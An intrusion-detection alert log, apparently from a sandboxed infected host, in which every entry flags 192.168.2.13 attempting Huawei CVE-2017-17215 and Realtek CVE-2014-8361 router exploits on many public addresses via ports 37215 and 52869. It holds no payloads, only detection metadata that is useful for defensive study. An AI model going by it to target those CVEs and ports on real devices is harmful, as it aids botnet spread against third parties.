Timestamp:	07/20/24-23:01:04.917925
SID:	2835222
Source Port:	37074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.114.117.29

Timestamp:	07/20/24-23:01:14.523933
SID:	2027339
Source Port:	56128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.83.128.106

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	52964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 89.116.1.211

Timestamp:	07/20/24-23:01:03.951915
SID:	2025132
Source Port:	47020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.80.76

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	33870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 60.215.234.238

Timestamp:	07/20/24-23:01:27.352785
SID:	2831300
Source Port:	35708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 32.86.79.138

Timestamp:	07/20/24-23:01:36.781770
SID:	2835222
Source Port:	34390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.251.61

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	37170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 168.69.38.135

Timestamp:	07/20/24-23:01:14.526400
SID:	2831300
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.16.59.154

Timestamp:	07/20/24-23:01:36.792737
SID:	2835222
Source Port:	53742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.246.201.30

Timestamp:	07/20/24-23:00:59.062572
SID:	2835222
Source Port:	52346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 106.174.68.245

Timestamp:	07/20/24-23:00:59.020552
SID:	2829579
Source Port:	32872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.171.246.211

Timestamp:	07/20/24-23:01:21.766543
SID:	2027339
Source Port:	46788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.234.70.164

Timestamp:	07/20/24-23:01:15.000440
SID:	2829579
Source Port:	52080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.7.165.251

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	45418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.44.33

Timestamp:	07/20/24-23:01:06.812618
SID:	2829579
Source Port:	49304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.198.177.151

Timestamp:	07/20/24-23:01:32.248799
SID:	2829579
Source Port:	35022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 60.17.2.252

Timestamp:	07/20/24-23:01:14.556193
SID:	2027339
Source Port:	59432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.24.156.226

Timestamp:	07/20/24-23:01:06.798257
SID:	2835222
Source Port:	51316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.4.10.141

Timestamp:	07/20/24-23:00:59.021109
SID:	2829579
Source Port:	32816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.197.238.94

Timestamp:	07/20/24-23:01:22.739029
SID:	2829579
Source Port:	51600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 31.175.187.129

Timestamp:	07/20/24-23:01:03.923104
SID:	2025132
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.71.223.221

Timestamp:	07/20/24-23:01:14.509824
SID:	2027339
Source Port:	53960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.155.18.221

Timestamp:	07/20/24-23:01:04.908543
SID:	2829579
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 216.194.176.131

Timestamp:	07/20/24-23:01:14.566461
SID:	2027339
Source Port:	58728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 84.50.117.185

Timestamp:	07/20/24-23:01:07.544207
SID:	2025132
Source Port:	52288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.157.164

Timestamp:	07/20/24-23:01:04.870311
SID:	2835222
Source Port:	53446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.12.169.82

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	40814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.243.200

Timestamp:	07/20/24-23:00:59.021890
SID:	2829579
Source Port:	54514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 203.131.164.121

Timestamp:	07/20/24-23:00:59.023733
SID:	2835222
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 99.172.148.31

Timestamp:	07/20/24-23:01:14.533279
SID:	2831300
Source Port:	54722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 77.182.150.37

Timestamp:	07/20/24-23:01:05.766789
SID:	2025132
Source Port:	55584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 191.214.228.151

Timestamp:	07/20/24-23:01:05.772057
SID:	2025132
Source Port:	58380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 212.178.98.236

Timestamp:	07/20/24-23:01:19.205364
SID:	2027339
Source Port:	50712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 160.241.202.23

Timestamp:	07/20/24-23:01:14.508164
SID:	2831300
Source Port:	49210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 47.21.202.187

Timestamp:	07/20/24-23:01:06.005329
SID:	2025132
Source Port:	52282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 90.220.208.134

Timestamp:	07/20/24-23:01:14.505885
SID:	2831300
Source Port:	45476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.41.195.47

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	33350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.83.17.109

Timestamp:	07/20/24-23:01:25.409691
SID:	2829579
Source Port:	54966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.245.177.60

Timestamp:	07/20/24-23:01:02.685657
SID:	2829579
Source Port:	52828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 39.73.21.88

Timestamp:	07/20/24-23:01:12.484346
SID:	2835222
Source Port:	52828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 126.40.131.27

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	60336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.5.26

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	60406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.160.210.166

Timestamp:	07/20/24-23:01:14.523933
SID:	2027339
Source Port:	44084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.132.248.230

Timestamp:	07/20/24-23:00:59.022704
SID:	2835222
Source Port:	52206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 74.43.158.18

Timestamp:	07/20/24-23:01:22.744419
SID:	2829579
Source Port:	44212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.196.49

Timestamp:	07/20/24-23:01:04.864677
SID:	2829579
Source Port:	49350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.132.200.204

Timestamp:	07/20/24-23:01:32.259331
SID:	2829579
Source Port:	47720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.145.162.190

Timestamp:	07/20/24-23:01:06.798722
SID:	2835222
Source Port:	47320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.225.133.190

Timestamp:	07/20/24-23:01:36.781139
SID:	2835222
Source Port:	33604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 221.82.215.87

Timestamp:	07/20/24-23:01:06.184025
SID:	2025132
Source Port:	51074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.196.250

Timestamp:	07/20/24-23:01:32.257456
SID:	2835222
Source Port:	52436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.232.39.94

Timestamp:	07/20/24-23:01:22.834271
SID:	2835222
Source Port:	50902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.38.242

Timestamp:	07/20/24-23:00:59.019716
SID:	2829579
Source Port:	39322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.186.137.146

Timestamp:	07/20/24-23:01:02.661070
SID:	2835222
Source Port:	40374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.88.164

Timestamp:	07/20/24-23:01:22.743882
SID:	2835222
Source Port:	57064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.8.247.80

Timestamp:	07/20/24-23:01:27.263646
SID:	2835222
Source Port:	46940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 147.21.178.207

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	34900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 148.242.181.53

Timestamp:	07/20/24-23:01:06.635348
SID:	2027339
Source Port:	45350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 194.111.111.55

Timestamp:	07/20/24-23:01:19.619749
SID:	2025132
Source Port:	58820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.226.91.150

Timestamp:	07/20/24-23:01:04.572286
SID:	2027339
Source Port:	46442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.230.247

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	36402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 97.62.197.167

Timestamp:	07/20/24-23:01:27.361992
SID:	2831300
Source Port:	37780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.62.197.167

Timestamp:	07/20/24-23:01:20.606081
SID:	2027339
Source Port:	37082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 128.199.8.22

Timestamp:	07/20/24-23:01:07.314840
SID:	2025132
Source Port:	56284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 165.167.242.189

Timestamp:	07/20/24-23:01:27.363404
SID:	2831300
Source Port:	41376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 221.202.160.22

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	46610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 54.44.221.107

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	33110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.66.129.3

Timestamp:	07/20/24-23:01:32.250506
SID:	2829579
Source Port:	52458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.154.83.107

Timestamp:	07/20/24-23:00:59.019793
SID:	2835222
Source Port:	57984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.162.222.24

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	51832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.84.70.7

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	55486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.18.146.223

Timestamp:	07/20/24-23:01:32.250505
SID:	2835222
Source Port:	54084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.14.186.72

Timestamp:	07/20/24-23:01:14.544045
SID:	2027339
Source Port:	40044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.151.46

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	40250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 82.166.201.81

Timestamp:	07/20/24-23:01:14.536803
SID:	2831300
Source Port:	50872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 121.104.50.97

Timestamp:	07/20/24-23:01:06.240012
SID:	2025132
Source Port:	38692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.191.13.46

Timestamp:	07/20/24-23:01:06.813789
SID:	2835222
Source Port:	54582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 158.90.117.175

Timestamp:	07/20/24-23:01:14.558193
SID:	2831300
Source Port:	41956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.73.230.152

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	57672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.185.44

Timestamp:	07/20/24-23:01:02.682054
SID:	2835222
Source Port:	33042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.36.109.153

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	58268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 202.117.135.95

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	51226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.137.39.153

Timestamp:	07/20/24-23:01:12.487419
SID:	2829579
Source Port:	33420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 193.190.14.156

Timestamp:	07/20/24-23:01:17.779183
SID:	2829579
Source Port:	34892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 213.249.133.80

Timestamp:	07/20/24-23:01:05.614910
SID:	2027339
Source Port:	47088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 186.203.154.108

Timestamp:	07/20/24-23:01:14.533681
SID:	2831300
Source Port:	46118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.174.174.141

Timestamp:	07/20/24-23:01:36.781870
SID:	2829579
Source Port:	45298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 189.108.39.158

Timestamp:	07/20/24-23:01:27.355018
SID:	2027339
Source Port:	36084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 58.234.199.253

Timestamp:	07/20/24-23:01:14.570907
SID:	2027339
Source Port:	57200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.164.169.253

Timestamp:	07/20/24-23:01:04.523323
SID:	2027339
Source Port:	46358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.60.215

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	45408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.199.60

Timestamp:	07/20/24-23:01:36.781770
SID:	2835222
Source Port:	44366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 188.92.142.69

Timestamp:	07/20/24-23:01:12.483293
SID:	2829579
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 199.255.47.208

Timestamp:	07/20/24-23:01:05.785643
SID:	2025132
Source Port:	47268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 64.157.100.230

Timestamp:	07/20/24-23:01:27.357903
SID:	2831300
Source Port:	54542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.239.252.49

Timestamp:	07/20/24-23:01:36.796105
SID:	2829579
Source Port:	45400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.189.139.115

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	34612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.80.65.90

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	41662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.191.183.76

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	45618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.153.147.86

Timestamp:	07/20/24-23:01:17.788569
SID:	2829579
Source Port:	52000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.22.249.40

Timestamp:	07/20/24-23:01:32.257456
SID:	2835222
Source Port:	45282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

